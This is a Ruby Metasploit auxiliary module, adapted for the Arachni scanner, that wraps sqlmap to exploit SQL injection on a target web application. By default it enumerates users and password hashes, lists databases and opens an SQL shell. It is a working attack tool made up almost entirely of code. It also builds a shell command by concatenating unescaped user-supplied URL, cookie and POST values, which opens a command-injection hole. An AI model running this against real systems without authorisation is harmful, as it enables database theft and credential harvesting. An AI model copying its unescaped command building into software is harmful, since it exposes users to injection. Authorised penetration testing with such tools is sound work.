require 'msf/core'

class MetasploitModule < Msf::Auxiliary

	include Msf::Exploit::Remote::HttpClient

	def initialize(info = {})
		super(update_info(info,
			'Name'          => 'Arachni SQLMAP SQL Injection External Module',
			'Description'   => %q{

				This module is designed to be used with the Arachni plug-in.

				From the original:

					This module launches an sqlmap session.
				sqlmap is an automatic SQL injection tool developed in Python.
				Its goal is to detect and take advantage of SQL injection
				vulnerabilities on web applications. Once it detects one
				or more SQL injections on the target host, the user can
				choose among a variety of options to perform an extensive
				back-end database management system fingerprint, retrieve
				DBMS session user and database, enumerate users, password
				hashes, privileges, databases, dump entire or user
				specific DBMS tables/columns, run his own SQL SELECT
				statement, read specific files on the file system and much
				more.
			},
			'Author'        => [
				'Tasos "Zapotek" Laskos <tasos.laskos@gmail.com>', # modified to work with the Arachni plug-in
				'Bernardo Damele A. G. <bernardo.damele[at]gmail.com>' # original module: auxiliary/scanner/http/sqlmap.rb
			],
			'License'       => BSD_LICENSE,
			'Version'       => '$Revision$',
			'References'    =>
				[
					['URL', 'http://github.com/Zapotek/arachni'],
					['URL', 'http://sqlmap.sourceforge.net'],
				]
			))

		register_options(
			[
				OptString.new('METHOD', [ true,  "HTTP Method", 'GET' ]),
				OptString.new('PATH', [ true,  "The path to test for SQL injection", 'index.php' ]),
				OptString.new('GET', [ false, "HTTP GET query", 'id=1' ]),
				OptString.new('POST', [ false, "The data string to be sent through POST", '' ]),
				OptString.new('COOKIES', [ false, "", '' ]),
				OptString.new('OPTS', [ false,  "The sqlmap options to use", '--users --time-test --passwords --dbs --sql-shell -v 0' ]),
				OptPath.new('SQLMAP_PATH', [ true,  "The sqlmap >= 0.8 full path ", 'sqlmap' ]),
			], self.class)
	end

	def run

		sqlmap = datastore['SQLMAP_PATH']

		if not sqlmap
			print_error("The sqlmap script could not be found")
			return
		end

		data   = datastore['POST'].gsub( 'XXinjectionXX', '' )
		method = datastore['METHOD'].upcase

		sqlmap_url  = (datastore['SSL'] ? "https" : "http")
		sqlmap_url += "://" + datastore['RHOST'] + ":" + datastore['RPORT']
		sqlmap_url += "/" + datastore['PATH']

		if method == "GET"
			sqlmap_url += '?' + datastore['GET'].gsub( 'XXinjectionXX', '' )
		end

		cmd  = sqlmap + ' -u \'' + sqlmap_url + '\''
		cmd += ' --method ' + method
		cmd += ' ' + datastore['OPTS']
		cmd += ' --cookie \'' + datastore['COOKIES'].to_s + '\'' if datastore['COOKIES']

		if not data.empty?
			cmd += ' --data \'' + data + '\''
		end

		if datastore['BATCH'] == true
			cmd += ' --batch'
		end

		print_status("exec: #{cmd}")
		system( cmd )
	end

end

